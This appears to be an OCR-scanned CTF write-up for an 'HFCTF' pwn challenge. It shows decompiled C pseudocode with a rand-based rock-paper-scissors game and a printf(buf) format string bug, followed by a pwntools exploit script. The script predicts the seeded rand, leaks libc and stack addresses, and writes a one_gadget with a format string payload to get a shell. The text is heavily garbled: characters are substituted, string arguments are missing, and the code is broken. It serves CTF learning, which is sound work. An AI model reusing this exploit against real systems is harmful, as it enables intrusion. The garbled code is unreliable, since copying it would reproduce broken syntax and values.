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v/ = __readfsqword(@x28u);
((void (  fastcall *)(__ int64, char **, char **))((char *)&sub_1268 + 1))(al, a2, a3);
vs = time(QLL);
puts{"Welcome to HFCTF!");
puts("Please input your name:"});
read(@®, buf, Bx256ull);
printf("Hello, %s\n", buf);
srand{v5);
vH = sub_1385();
if (ve > @)

sub_13F7();
return @LL;
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int v3; kk EP5b+Chj Erbﬁ—dhj

puts(“Let's start to play a game!");
puts("@. rock™);
puts("1l. scissor");
puts(“2. paper");
for (1 =0; 1 <= 99; ++1 )
{
printf("round %d: \n", (unsigned int)(i + 1));
vZ2 = rand() % 3;
v3 = sub_129C();
if ((v2)
{
if (v2 ==1)
{
if (w3 1=2)
return @LL;
¥
else if ( v2 == 2 &R v3 )
{
return @LL;
¥
¥
else if (v I1=1)
{
return @LL;
¥

¥
return 1LL;
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v2 = _ readfsgword(@x28u);
puts("Good luck to you.");
read(®, buf, 8x1@0ulL);
printf(but);

return _ readfsgword(®x28u) *~ vZ;
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from pwn import

from ctypes import

r remote( ,30311)
libc = ELF(
libc_rand cdll.LoadLibrary(

r.sendlineafter( 0x100+p64(0))

libc_rand.srand(9)
for i in (100):
ru( . (i+1))
num libc_rand.rand()
if (num%3) 1:
r.sendline(
if (num%3) 2:
r.sendline(
if (num%3) 0:

r.sendline(

r.senduntil( .1ljust(exie,
r.recvuntil( )

libc_base (rv(12),16) ox61d6f

r.recvuntil( )

stack_addr = u64(ru( )[-6:].1just(8,b

one_gadget libc_base Oxe3b31
fmtstr_payload(6, {stack_addr: one_gadget})

sendlineafter( , payload)

r.interactive()
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